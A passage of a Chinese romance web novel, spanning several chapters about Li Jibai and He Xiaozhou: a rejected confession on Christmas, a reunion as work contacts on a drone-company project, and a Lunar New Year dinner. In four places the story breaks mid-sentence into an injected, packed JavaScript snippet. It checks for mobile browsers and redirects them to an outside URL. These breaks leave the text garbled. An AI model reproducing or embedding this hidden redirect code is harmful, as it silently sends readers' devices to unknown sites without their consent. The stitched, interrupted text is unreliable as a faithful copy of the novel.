一心二用的结果就是,他竟然直接把这两句话键入进了文档里。等六点左右散会,他不得不花时间又整体检查一遍,才发给leader. 孙林已经收拾好东西等他一起去地铁站。 他倚在工位旁边,拿着手机搜索就近的餐馆,“今儿好说也是圣诞,要不咱俩一块去吃大餐?” 李既白穿好外套,“我有点事,改天。” “不是去约会吧?你不会偷偷找女朋友了吧?” 他步伐一顿,“没有。” 孙林故作夸张地松了口气,“还好还好。” 李既白斜了他一眼。 他没跟孙林一道下楼去站台,避开高峰期的客流,找了处相对安静的角落给何筱舟拨去电话。 响了三声,她接起来。 那头很嘈杂,听起来像是在什么活动现场,经麦克风被放大的男声比她的声音先抵达耳畔。 “什么事?” 热闹的背景音将她的声音衬托得冷清极了,连带疑问的语气也很淡,听不出有什么情绪。 李既白陡然生出不好的预感。 他试探着问:“昨天的花,你有看到那张卡片吗?” 何筱舟站在人群外围,看着中心区域被簇拥着进行情侣默契挑战的男男女女,心念一转,说:“可以。” 李既白弯起嘴角,“你在哪里,我去找你。” “西峰路步行街,中心广场这里。” 李既白大致想了下方位,“我半小时左右到。” 何筱舟退出围观区域,找了处长椅坐下。 行人被喝彩声吸引,渐渐汇拢而来,她的视线被完全遮挡,只能百无聊赖地听着游戏战况。 是综艺里常见的玩法,你画我猜,猜歌名之类的,图个氛围,奖品是圣诞主题的毛绒玩偶或挂件。 题面相对简单,因此听了一会就觉得有些无聊。 实际她整个下午都处在这种状态里。 何丽萍的礼物很好买,她是个偏实用主义的人,按她的喜好选应季的衣服和靴子,只花了大约一个钟头。 剩下的时间,何筱舟捧杯热饮,沿意式风情区一路走到最繁华的商业步行街。 这段路很长,适合思考。 她习惯性地在脑子里跑代码,ifelse预写了很多种可能出现的情况以及对应的处理方法,她试图在这些结果里找到一个最优解。 但没有。它们是不同先决条件下的并列关系。 “下雪了。” 忽然有人这么喊了一声,聚在中心广场的人群里出现小幅度骚动,人们四散开来,纷纷寻找最佳位置与圣诞夜的落雪合影。 绒毛细丝般的小雪,被风吹得在黑夜里狂舞,经路灯点亮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16869957|187888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变成银丝,飘飘扬洒下地面。 何筱舟也举起手机,对准街边的路灯。 那是一盏铁艺的灯,复古款的尖顶灯罩,笼住一丛暖融融的光。而那些细小的雪粒,仿佛惧怕这黄澄澄的明亮似的,始终只在光圈外缘打转。 抑或有些真的靠近了,最后融化于其中,微茫而不可见。 刚下班没多久,正是人最多的时候。 李既白随人流涌出地铁站,沿步行街一路赶到中心广场。 他的视线四处梭巡着,刚要拿手机给何筱舟打电话,一抬头,远远看到坐在长椅上的她。 她穿件长款的深色大衣,颈间绕条围巾,松垮垮地搭在肩后。熙攘的拥挤街市中,她好像跟周围人不在一个图层,是比这细雪还要冷清的存在。 不知道她在这坐了多久,李既白皱皱眉,小心绕开行人,朝她的方向小跑过去。 而他可能不会知道,这一幕恰好落进她镜头里。 相机开了实况模式,成像后,轻按屏幕,画面便成了动态的。 男生发上沾了些溶化的透明雪珠,发尾雾蓬蓬的,随他奔跑的动作在风里扬起又下落。 明明是他在动,它们在动,可何筱舟总恍惚觉得自己好像也随之起落不定,七上八下的。 好在这段路不算长。 李既白很快停在她面前,顿了顿,问:“冷吗?” 直觉那片刻的停顿是因为他习惯性地想握她的手,给她传递些暖意。 但可能碍于目前的形势,他终究没有继续,而是有些刻意地,跟她拉开了点距离。 何筱舟站起身,摇了摇头。 李既白深吸口气,“我提前订了位置,就在这附近,走吧?” 冷空气侵入肺腑,他稍稍镇定下来。 下一秒,却因为她的行为,不由得呼吸一滞。 是何筱舟朝他迈了一小步,近到鞋尖相抵。 李既白低头便能嗅到她发间的香气,他当然认得,那是他送她的香水。 木质调的雪松气息,冷淡多于温和,像她本人。 但他也知道,她可以有多炽热。 就像此刻。 她什么也没说,伸手揪住他的衣领,使他微弯下身。然后,没有任何犹豫地,踮脚吻他。 冰凉而柔软的触觉随即而来。 并非第一次接吻,只是当下这个节点,性质完全不一样了。 一路上的忐忑心绪霎时烟消云散。 李既白动作微滞一瞬,伸手揽住她的腰。 落雪的街上依然人影憧憧,浪漫的冬夜里,没有人觉得这样的亲密是突兀、另类的存在。 也没有人过多留意他们。 因此,何筱舟毫无负担地,专心吻他。 没有更深入,只是若有似无地贴着他的唇。 对比之下,被他牢牢扣着的身体,正无限紧密地朝他贴近。 那禁锢的力道令何筱舟感到轻微的痛意,却无法准确分辨来源。 极其短暂的一个吻,何筱舟很快退开。 李既白没松手,仍旧拥着她,眼睛里好似燃着欣喜的焰苗,“这是你的答案吗?” 何筱舟视线平缓而细致地一寸寸掠过他的脸。 眉峰,眼尾,沿鼻梁微隆起的驼峰滑到唇角。那里正勾起一抹深浓笑意,露出平时并不显眼的梨涡。 不是。 何筱舟笑了笑,“算是,我已经有结论了。” 男生搂住她后腰的手臂愈发收紧,如同他忽而变得有些紧张的神色。 他向她确认,“所以我们,是男女朋友了吗?” 何筱舟静默一刹,平声开口:“我是想告诉你,我对你心跳加速的时刻,好像只存在于接吻或者□□。” 话里多少带点遗憾的意味,但在这种时刻,更趋近于残忍。 何筱舟抬手抵在他胸前,还没用力,男生搂着她的手臂就已松了力道。 话说出口,何筱舟并没有预想中的轻松。 尤其是在目睹他眼里闪烁的星芒逐渐寂灭之后,她更是毫无缘由的喉间发堵。 静默须臾。 李既白再开口时嗓音喑哑,“你是不是一开始没想跟我断联?” 何筱舟没想到他会这么问,“……这不重要。” “重要。” 李既白有种把一切搞砸的悔痛感。 他想要握她的手,堪堪挨上她指背的刹那,又撤回手,“如果是这样,可以当这件事没发生过吗?” 何筱舟愕然,“你觉得可以吗……” “我可以。” “那样的话,我们之间的关系不再对等,我说过……” 李既白垂在身侧的手用力攥紧,“你不喜欢别人对你太超过的付出。” 何筱舟回避他的目光,平静地说:“所以,我们暂时不要再见面了。” 30. 烛火 是怎么离开西峰路的,李既白没有印象了。 完全空茫的感觉,像戴了副效果顶级的降噪耳机,隔绝掉周遭所有喧嚣,耳边只剩他们之间的对话循环播放。 手机揣在外套口袋里,振响的第三次,站在他旁边的男生奇怪地看了他一眼,轻拍他的手臂,“哥们,是你电话吧?” 李既白重获听觉般,意识惶然回笼,道了声谢。 打电话来的是季惟酒吧的调酒师,求救一样嚎叫:“哥你总算接电话了!” “老板喝多了,我们想叫车送他回家,怎么着都说不明白。” 地铁播报到站的声音适时响起,调酒师激动地说:“哥,你就在附近啊!太好了!快来救命啊!” 要不先救救我呢? 李既白闭了闭眼。 有一万个理由拒绝管这闲事,但他潜意识里有点抗拒现在回家,便说:“十五分钟。” 出站时雪还在下,细小的晶粒落在地上不足以构成积雪,汇成雨天般的湿泞。 饶是这样,槐枰街仍比平时热闹很多。 四季酒吧同样,但科技感十足的装修风格搭配圣诞装饰,有点说不上来的不伦不类。 音乐也吵,李既白一进门就感到头痛。 季惟醉得厉害,脸上分不清是泼洒的酒还是眼泪,吐字不清地来回絮叨跟乔楠的事。 说来说去,大概就是大吵一架之后被绝交了。 吧台里一片狼藉,泡发的烟头,滩开的混色酒液,地上还有疑似玻璃酒杯的碎片。 李既白心里烦乱,懒得再听他的醉言,直接提起桌面上的冰桶贴去他侧脸,“你没事吧?” “是你先喜欢别人的,给你什么结果受着得了,要嚷嚷得让全世界都知道?不知道的还以为是别人辜负你了。” 调酒师这次没尿遁,站在一旁默默点头。 “你懂个屁。”季惟猛地伸手拂开,冰块哗啦啦洒了一地。 得亏调酒师眼疾手快拉了李既白一把,冰桶里化掉的冰水才没泼到他身上。 李既白不想再跟他废话,踩着冰块,拽住他一条手臂搭在肩上,“我送你回家,或者你去住酒店,选一个。” “去你家?哦……行,有酒吗?” “……” 最后打车去了李既白的住处,季惟经夜风吹,又被丢进浴室冲了个澡,人稍微清醒了些。 他看见了那些女士生活用品,半靠在床头,懵懵地问:“你真有女朋友啊?” 见李既白不应声,一副讳莫如深的样子,想到刚才回来时他手里提着的两个礼品袋,终于品出点不对劲,“你也失恋了?咱俩同病相怜啊,要不一起再喝点?” 喝多的人怎么这么多鬼话。 李既白没理,拿了换洗衣物,想了想,一并拿走床头柜上的香薰蜡烛。 季惟叫住他:“这个留给我呗,我头疼的很。” “你再多说一句,从我家里出去。” 季惟从没见过李既白这样,但他没力气再折腾去别处,识相闭嘴,裹着被子睡了。 室内开了暖气,李既白洗漱完,反枕手躺在沙发上,酝酿不出丁点睡意。 茶几搁着何筱舟退还给他的手表和相机,还有燃着的香薰。烛光跳跃着,令他想到半昏昧卧室里交叠在一起的身影,以及他们共同制造出的迭荡与涟漪。 他和她都喜欢这个味道,用完了好几支,逐渐成为另类的记忆锚点。 李既白阖上眼,将那火苗吹熄。 他不得不承认,过去这么多年后,他仍旧不擅长处理如何将一段关系从生命中剥离。 怎么做到不见她? 明明昨天傍晚他还在她的家里,做了几道她爱吃的菜,而她从背后抱住他的腰,跟他诉说自己的不愉快。 礼物早半个月就准备好了,他一直在等一个时机。他以为这就是,不会再有比那个节点更靠近她的时候。 但他预估错误,搞砸了一切。 * 乔楠突然回国一趟,或主动或被动地搅得所有人都发生了变化,圣诞过后没几天,又施施然飞去美国。 她说这次是去斩情缘,和Eric总要有个了结。是周末傍晚,何筱舟送她去机场,看着她脸上飞扬的笑,隐约咂摸到一点出征的味道。 乔楠这次回来并非纯为玩乐。 她雷厉风行招了个店长专门打理槐枰街的咖啡店,还抽时间看了几间店面,未来打算重拾专业,另开一间工作室做服装设计。 “那和你爸呢?就这么僵着?” 乔楠无所谓地耸肩,“他都把奥斯卡赶出家门了,我还贴冷屁股吗?” 奥斯卡是乔楠养的一条阿拉斯加,大型犬威风凛凛的,何筱舟见过很多次,“要不放我这,我帮你养一段时间?” “你?一忙起来没完没了的。放心吧,在我店里起居室给它搭了个窝,让店员照顾着,涨工资就是了。” “季惟呢?” “提他干嘛?” 乔楠颇有些头疼地说:“我收回那天的话,还是不能跟弟弟谈,太幼稚了。” 说完,又想到什么,嘿嘿一笑,“筱筱,你情况不一样,不用参考我的想法。” 何筱舟垂下眼睫,“有什么不一样。” “原因我说过了。” 乔楠点到为止,“我知道你不被逼到一定份上是不会动弹的,至于小白是不是那个能撬动你的人,我很期待。” 她兴致勃勃,“要不咱俩打个赌?” 何筱舟自然不会应承这个赌约,像上次分别一样拥抱她,祝她一路平安,然后独自驱车回家。 新年伊始,街面上到处张贴着各种精美的图画装饰,比圣诞更热闹,年底的节日一个接一个,红彤彤的鲜艳颜色映进眼里,怎么看都充满希望。 而何筱舟上楼时回望社区门口的那棵老树,树叶凋敝只剩枝干,满目凄然。 她毫无预兆想到夏天,郁郁葱葱的树影里,李既白下了班赶来同她吃饭、散步。临分别前,用那双好看的眼睛仔细观察着她的神色,认真问她,有没有心情好一点。 不知是谁在稍低的树枝上挂了灯笼,得益于这暖洋洋的朦朦红光,她心头那点萧瑟和怅惘一并被驱散了。 何筱舟开始尝试用另一种方式将休息日填满。 按计划年前该收尾的项目基本都顺利进入验收环节,她不再需要加班,但行程仍安排得跟上班点卯似的,上午去余歆然创办的公司,下午去大学城跟何丽萍聊聊天,或者到槐枰街,端杯咖啡跟奥斯卡一起晒太阳。 余歆然尚未正式离职,办公场地完善、人员招聘之类琐碎的事情只能在周末进行,反倒方便了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16885213|187888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年后准备换工作的人跑面试。 初创团队暂时只有余歆然和她表弟苏祁,余歆然负责技术层面,苏祁则搞定公共事务。 何筱舟有时会参与他们的讨论。 一直以来,她的工作都是偏执行层面,除去分析实现需求的方式,不大会更深入地了解产品自身的设计逻辑。余歆然打算做的是心理咨询相关的AI模型,未来或许要嵌入到各医院的在线问诊平台,与通俗的模型底层算法不同,所以对何筱舟来说也是个新的领域。 在避免涉及核心机密的情况下,她以体验者的视角参与其中,给他们提了一些更切实的建议。 余歆然仍不放弃拉她入伙,那些似是而非的邀请都被何筱舟半真半假挡了回去。 因为她在这个过程中,找到了自己在工作中的另一种可能,她跃跃欲试,但也知道,这个步子不能迈得太大。 一月底,何筱舟的部门接到新项目,与领航科技合作,为对方搭建新的生产研发操作系统后台。 领航科技是业内排前的无人机企业,他们有自己的技术团队,说是因为新产品进度落后导致工作饱和抽不开人手,部门内有多余预算,便把这个项目交给知界来做。 项目定级S,不仅比通俗项目难度高,还因为钱给的足够多。 研发部例会上,新上任不久的总监麦克特意问了一嘴,何筱舟回说正在组建研发团队。 以往的惯例是,重点项目优先抽调技术能力更强的开发人员。 这次何筱舟想做一个新的尝试,依照需求说明书上标明的重难点安排有对应优势的开发。 会后她单独找麦克说了这个想法,麦克同意,但让她注意把好关。 谈完,何筱舟在走廊遇上张巍,他看一眼她身后麦克办公室紧闭的门,支支吾吾的,看起来有话要说。 部门办公室是开放式的,何筱舟的办公桌在长排工位的尽头,她想了想,给他留点面子,去了小会议室。 不出她所料,张巍想参与这个项目,甚至提出由他全权负责。 何筱舟知道他着急做出成绩,只是前段时间她忙着积压的旧项目时,第一时间想到他,却被他推辞。 趋利避害不是错误,只是她觉得,把控大局的人不应该这样。 但她没有挑明,只说:“之前你负责的前行智能家居,客户对交付的成果不太满意,现在卡着不验收,到这个阶段已经没有余地对代码做大的修改,你还是多花点时间看看怎么优化一下。” “另外,基于这个项目的经验,我想以后在初期的框架设计上,要更全面一点,你说呢?” 何筱舟用先前张巍给她的借口顶了回去,他讪笑了下,没再提这茬。 调岗半年多,何筱舟对下属的能力已经了解得很透彻,评估每人当前工作量之后,迅速抽调了八个人组成研发小组。 二月初,首次和客户开会,她带上文途、陈曦和张洋一起前往。 客户公司同在津海,市郊的高新产业园区,开车过去四十分钟,比去其他城市出差方便很多。 不过园区占地面积很大,林林总总许多新兴企业驻扎在这里,还在不停扩建,领航方提前交代过,车从北一门开进去,有人在那里等着,给他们引路。 来之前,何筱舟怎么也不会想到,这个“有人”,会是李既白。 31. 冰块 如果不是看到李既白手里捏着的类似接机牌一样的硬纸板,何筱舟会以为他只是很巧合的在这处园区上班而已。 毕竟启域产业园离他的住处很近,甚至能隐约望见他们以前常去的那座体育馆的建筑尖顶。 可那纸牌上明晃晃写着的“欢迎知界”,令人无法忽视。 副驾的文途也注意到了,还笑着调侃了一句“VIP级待遇”。何筱舟只得将车开过去,按双闪,落下车窗。 男生穿着一件黑色的冲锋衣外套,拉链拉到顶,低头时下巴隐入衣领,却并不显得局促,反而衬得眉目清晰又凌厉,在萧瑟的冬日里,英俊的很是浓墨重彩。 与她霎时间的怔忪相比,李既白应该知道是她,十分镇定,目光蜻蜓点水般在开车的何筱舟脸上停留一瞬,平静地扫过车内其他人,算是打招呼。 他拎起自颈间垂落的工牌,弯下腰自报家门,“你们好,我是领航科技的李既白,孙林今天临时被外派,和贵公司的相关事宜由我来负责对接。” 何筱舟闻言翻了翻微信群,发现不久前新成员入群的系统提醒。 “好。” 她尽量快地消化掉这意料之外的巧合,平声问:“请问车停哪里比较方便?” “临近的车库入口没开放,在调试升级设备,需要拐到D栋那边进,路有点绕,我带你们过去?” 园区内楼栋林立,路标大都设立在沿路的绿化带里,何筱舟敛目想了想,让文途换去后排,对李既白说:“麻烦你了。” “应该的。”男生微不可察地扯了扯唇角,溢出点缥缈的苦意。 那笑容转瞬即逝,让何筱舟不免疑心,或许是她的错觉。 李既白躬身坐进车里,车门被轻摔关合的瞬间,熟悉的清冽草木气息涌入鼻腔,何筱舟下意识屏息,不由攥紧握着方向盘上的手指。 “开到头左转。” 何筱舟依言松了刹车,按园区内最低限速缓缓向前滑行。 到路口,她按下左转向灯,却丝毫没反应过来,车内嘀嘀嗒嗒的提示音已经响了挺长时间。 李既白瞟她一眼,不动声色地伸手揿灭双闪。 后排的张洋和陈曦一路上都在打瞌睡,刚才虽已醒来同李既白问候过,但意识还是迷糊的,文途也在低头看手机,因此没人注意到前排的异样。 何筱舟深吸口气,借着看右后视镜的契机,想以眼神提醒他,却见他耸耸肩,无辜的意味不言而喻。 好像在说“我要是出声提醒你不是更明显吗”。 呼。 转弯后沿绿化带间的小路蜿蜒行进,再绕过人工假山园景,车子终于驶进地库,然后由李既白指路,停到了距离领航办公楼C栋相对近的位置。 已经提前登记过访客信息,在前台核对完证件,何筱舟一行人被引去三楼的会议室。 李既白边在前带路边解释,这个项目由领航的产品部门承担,部门副经理蔡旬即是主责任人,李既白是今天被指派进项目组的,后续会和孙林一起负责跟知界对接琐事。 “比如既往的机型资料、测试数据之类的,或者是需要我们公司提供什么材料,帮忙协调技术部同事,都可以在群里艾特我,或者孙林。至于现在……” 李既白一一询问他们偏好的咖啡口味,点按手机屏幕看了眼时间,“蔡总的会议大概还要二十分钟结束,麻烦各位稍等。” 他详细交代了茶水间和卫生间的位置,把会议室留给他们,暂且出去了,可能是买咖啡。 陈曦跟着起身把门关上,忍不住小声感叹:“第一次见这么平易近人的客户,这可是领航诶!” “这可是领航诶!” 文途怪腔怪调地学她,揶揄道:“我看你啊,就是觉着人家长得帅。” 何筱舟适时出声掐断两人之间的嘴仗,“趁这个时间,再熟悉下资料。” “按我们之前讨论过的,那些有争议的需求点,争取这次都对齐了,不影响后续开发。” 室内安静下来。过了会,敲门声响起。 李既白将两只外带保温袋放到会议桌中央,何筱舟从笔电屏幕后抬眼,道了声谢。 四杯装的袋里剩最后一杯,何筱舟伸手去拿,指尖挨到杯壁渗出的凉意,条件反射般缩回手。 可能是作息紊乱、常饮酒的缘故,何筱舟常年月经不规律,有时间隔两个月,有时淋淋漓漓持续半个月,所以经期内,她会格外注意保暖和饮食,以此来稍稍弥补。 李既白知道她习惯喝美式,多加冰。 只是今天不太巧。 “店员放错了,何总,你的是这杯。” 男生大概看穿她的迟疑,从另一只双杯装袋里取出热拿铁,搁到她电脑旁边。 何筱舟并拢手指,圈紧纸杯,感受那传递到指端的热意。 他仍旧细心,仍旧低调得不露声色。 如果说林湛是夏日暴雨后缤纷夺目的虹,那李既白应当是道路旁安然耸立的树。 他静默地感受四季,承接风霜雨雪的侵袭。他从不喧宾夺主,只顺应时间而产生变化,自有一种吸引力,为经过他的人提供遮蔽,或是释放治愈的绿意。 何筱舟余光瞥见男生转到长条会议桌对面,在她斜前方的位置落座。 那个瞬间,仿佛室内平静的气流被搅乱一息,在她垂眸的同时,引得眼睫无声地轻颤。 * 约莫半个钟头过去,会议室的门被再次推开,蔡旬姗姗来迟。 他看起来三十出头,戴副半框眼镜,嘴角挂着善意的笑,但隐在镜片后的眼睛分明透着审视。 何筱舟不太喜欢这样探究的目光,只是已经习以为常,什么样的审度都不影响她干活。 她从容地站起身与之握手,简单寒暄两句,大致介绍了下随行的团队成员,直接切入正题。 从系统的实用性来说,为方便生产线的工作人员使用,功能设计得并不复杂。 重点在于记录用户在各个模块中的操作习惯,生成对应的简易化流程,并且能够根据标准规范分析出后续的步骤或者方案,为操作者提供合理化的建议。 何筱舟说:“这是知界的优势之一,不难做到,只是需要大量的数据跑模型,可能需要贵司提供产品研发、生产过程中的具体细节资料。” 蔡旬很爽快地应承:“可以。” “不过,我们算是外行,数据材料中涉密的信息和内容,需要你们来把控,如果可以的话,最好注明保密级别。” 蔡旬扶了扶眼镜,“何小姐这个建议提的很好,很严谨,我跟下边人交代清楚。” 因这个略显微妙的称呼,李既白转头看了蔡旬一眼。 他和孙林入职领航后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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李既白甚至理解了她以那种方式拒绝他的原因。 正因如此,他也真真切切地体会到,横亘于他们之间的差距。 待沟通的问题厘清之后,何筱舟着重说了说后续的开发节点,蔡旬对时间安排没什么异议,首次对接会就这么进入尾声。 蔡旬先行离开,何筱舟一同出门,顺便敲定了合作过程中类似会议的频次,之后去了趟卫生间。 出来时,在公用的洗手台区,撞见李既白。 没有其他人在,何筱舟脑中尚构思着妥帖的社交辞令,他先开口了:“右边是热水。” 何筱舟抬手将旋钮拧向右侧。 “我被调过来之前,不知道知界那边的负责人会是你。如果你觉得……” 何筱舟低声打断他:“我知道。” 他一向很有分寸感,两人一同旅行期间,他用自己手机帮她拍的照片最后都当着她的面删掉了。 “我没关系,工作是工作。” 李既白扯了张纸,将手上的水珠擦干净。 他没应她这句,沉声说:“我第一次知道,暂时是四十二天。如果……” 他洗过脸,眉目被洇湿,自镜中看向她时,目光深重而沉晦,像平安夜那晚他最后一次从她家离开时那样。 “咚”的一声,他把湿透的纸团投进台盆下铁质的空垃圾桶。 闷沉的声响,让何筱舟无端端觉得,仿佛是石子坠入枯井,冰块跌进咖啡液,在空气中荡开一层层苦涩的涟漪。 如果‘暂时’的范围能够缩减,那么,只谈工作也好。 视线相撞的瞬间。 何筱舟大致读懂了他的潜台词。 32. 白霜 领航项目的开发工作定到年后正式开始。 年终考核结束后,何筱舟拿到一笔丰厚的年终奖金,正式迎来春节假。 除夕当天,她起了个大早,把住处里里外外打扫过一遍,带上提前买好的礼物去了何丽萍那。 到时是下午了,门口已经贴上了新对联。 刘循书来开的门,何丽萍正坐在餐桌旁包饺子,见到她,笑着招呼她坐,“舟儿,调了你最喜欢吃的虾仁馅。” 何筱舟洗了手,坐去何丽萍身边,跃跃欲试地拈起一张饺子皮,团了勺馅。 来回捏了好几遍,软乎乎的面皮在她手里还是难以成型,最后被何丽萍接管,她只能转而择菜。 徐成德离开后的很多年里,逢年过节都是她跟何丽萍两个人,“父亲”在何筱舟的记忆里已经变得模糊,虚化成一个符号,代表曾经,曾经她拥有过的圆满。 念旧,在这个快节奏的时代,或许算不上优点。 所以比起她,刘循书看上去反倒更适应角色的转变。 他没有把自己置于类“父亲”的身份,就像是位和蔼可亲的邻家长者。 难得的是他不和大多数年长者一样爱说教。 聊起何筱舟的工作,在一旁听得津津有味,间或说些自己的想法;讲到他拿手的考古知识,也不夸夸其谈,跟讲故事一样吸引人,娓娓道来;同时,手里的擀面杖也没闲着,轻轻敲击桌面,压出厚薄均匀的饺子皮。 悠长的午后,室内被暖气烘得暖融融的。 某个静谧到令人恍惚的时刻,何筱舟错觉回到了小时候,爸妈在厨房里准备年夜饭,而她满心只想着怎么还不到晚上,她等不及去院子里和小伙伴们一起玩炮竹,更等不及收厚厚的压岁钱。 丝绒材质的红包递到何筱舟面前的时候,她正把鱼盘调到餐桌正中央。 刘循书跟何丽萍同时伸出手,捏着如出一辙的红色信封,笑眯眯地对她说新年快乐。 何筱舟怔了怔,犹豫着该不该收,因为目测那红包很厚实,而她早已成年,有能力自给自足。 何丽萍看破她的想法,径直将两封红包叠摞着塞进她口袋,“没结婚之前都有,我也给叙言,还有他男……他对象准备了。” 刘循书不在意地笑了笑,“是啊小舟,叙言两个人去国外玩了,不管他们。咱们三个人第一次一起过年,就算是个小小的仪式。” 何筱舟起身,给他们分别倒了杯果汁,“谢谢妈,谢谢刘叔,新年快乐,身体健康。” 刘循书朝她摆摆手,“快坐快坐,尝尝菜,合不合你口味。” 刘循书做得一手好菜,忙活一下午,三个人的年夜饭,荤素搭配几乎摆满整张餐桌。 他应该特意问过何丽萍,席上大部分都是何筱舟偏好的菜。 整餐饭吃得和乐融融,没有她预想中的尴尬。 可能刘循书平时在学校里跟大学生接触得多,时不时冒出一句网络热梗,一本正经得有点可爱,逗得母女俩笑个不停。 饭后,三人坐在沙发上看了会无聊的晚会节目,何丽萍提议玩扑克,到十点左右,何筱舟告辞离开。 何丽萍穿上外衣送她去停车场,路上试探着聊了许多边缘话题,诸如工作怎么样,和乔楠联系没有,跟同事关系处得好不好之类的。 眼看快走到车前,何筱舟出声打断她:“妈,你想跟我说什么?” 她支支吾吾,“上次给你安排的相亲……” 何筱舟以为又有后续,刚要开口,何丽萍忽然握住她的手,轻轻摩挲着她的手背。 “这些年你一直住在那老房子里,我明白,你想你爸。有时候我也想他,想我们一家三口在一起的时候……” “那件事是我做的不好,我没经过你同意,不顾及你的感受……” “你别怪妈。我知道你要强,有什么难事都自己咽了。我是想有个人照顾你,帮你分担点。舟儿,人活着,总得朝前看。你过得好,你爸和我……都能安心。” 何丽萍一贯心直口快,也别扭,道歉的方式仅限于叫她吃饭或者让她注意天气变化,鲜少有这样恳切的时候。 “怎么突然说这个?” 何筱舟想了想,问:“妈,你跟刘老师还好吗?” 何丽萍捏捏她的手指,“都好,都好。这不是过年吗,我想着,这事总不能拖到明年再解决。” 何筱舟想再说点什么,后背被何丽萍轻轻推了一把,“天儿冷,早点回。” “好……”何筱舟张了张口,将车解锁,“你也上楼吧。” 开出车位,车驶入小路,夜间凛冽的寒风不住地灌进车厢。 何筱舟按钮关窗,瞟见后视镜里何丽萍捂着胸口半弯下身,颈间的围巾垂落到身前,被风吹得荡来荡去。 她刹停车子,身体探出车窗,“怎么了?” 何丽萍直起身,将围巾理好,冲她笑了笑,“没事,吃风了,激得。” “快回家,我很快就到。” 何筱舟催促她上楼,目送她的身影拐进单元门,消失于转角,才驱车离开。 除夕夜,路上少有车。 近些年禁燃,街面安静得很,偶有几个行人,拿烟火棒在空中划出灿亮的轨迹,但转眼间,那光芒便散了。 没下雪,只有风在寂寥地吹,树上枯枝张牙舞爪地摇曳,沿途的一切都是凋敝的,连路灯杆上悬挂的红色节日装饰也显得单调极了。 新年的缘故,新安社区比平时热闹很多,家家户户都还亮着灯,甚至能看到窗内影影绰绰的人影。 何筱舟立在楼下看了眼二层黑沉如湖底般的窗台,裹紧大衣,返回停车场。 她在车里坐了一会,切导航开去槐枰街。 「汀兰」店门挂着休假通知,负责照顾奥斯卡的店员在歇业前依照乔楠的安排,把钥匙交给了何筱舟。 她没开大门,沿小楼外设的旋转楼梯直接上到三层起居室。 奥斯卡的窝搭在室内阳台,甫一开灯,它就迅速跑过来,前爪扒住何筱舟的手臂,拿毛茸茸的脑袋蹭她的肩膀。 它冲劲太大,何筱舟没防备,险些被掀翻在地。她勉力稳住身形,捏着它的后颈顺毛安抚了一会,给它戴好嘴套后,牵绳下楼。 与其说是何筱舟遛它,不如说是它遛何筱舟。 她必须得紧紧抓住楼梯栏杆,才不会被它向往大自然的力量扯倒。 下了楼,她没有了能与之抗衡的依凭,几乎是被它带着跑。 奥斯卡来槐枰街没多久,又不常出门,竟然闷头直往隔壁的四季酒吧冲。 季惟今天照常营业,隔着玻璃门也能隐约听到激昂的音乐声。只是他和乔楠两个人好像还僵着,不太方便过去。 何筱舟使了大力气才将奥斯卡扯离,牵着它,拐进两栋小楼间隔的巷道。 她打算抄近路到附近的沿海绿道,那里人少,路宽敞,适合它撒欢。 楼体阻隔光线,窄巷内一片漆黑。何筱舟迈进一步,迎面看见有个高大的男人立在阴影里,手举在耳边,看起来像在打电话。 她转身欲走,却在听见那人的声音后顿住脚步。 “你去看秦叔跟胡姨的话,帮我带份礼物,跟他们说,我过段时间就回去。” 刚刚安静下来的奥斯卡又激动起来,动静引得男生注意,他回头看一眼,简略说两句后就挂了电话,朝这边走来。 何筱舟将狗绳在手上缠了好几圈,奥斯卡呜一声,蹲到她脚边,待男生走近,热情地仰头舔嗅他的手指。 李既白单膝蹲下,伸出手,奥斯卡极其配合地把前肢搭在他掌心,一看就很熟络的样子。 “你认识它?” “嗯。最近我常来季惟这边,有时候会帮忙遛。” 何筱舟更惊讶了,“季惟?” 李既白站起身。 昏暗中看不清他的表情,但他声音里分明带着笑意,“可能乔楠姐仓促间没交代清楚,简单来说就是,她的店员在她不知情的情况下,‘通敌’了。” “是去遛狗吗?” 何筱舟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16925180|187888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗯了声。 “我帮你牵?它力气很大,刚出门不好控制。” 何筱舟捏着绳索,沉吟道:“那我算不算通敌?” 李既白低笑一声,“何筱舟,我怎么不知道,我跟你什么时候又成了敌人?” “按我的经验,甲乙双方的相关人员,私下里最好不要多接触。” “这是工作场合吗?我最开始认识何筱舟,好像只知道她叫何筱舟。” 她抿唇不再多言,把绳圈递给他后,率先走出这条暗巷。 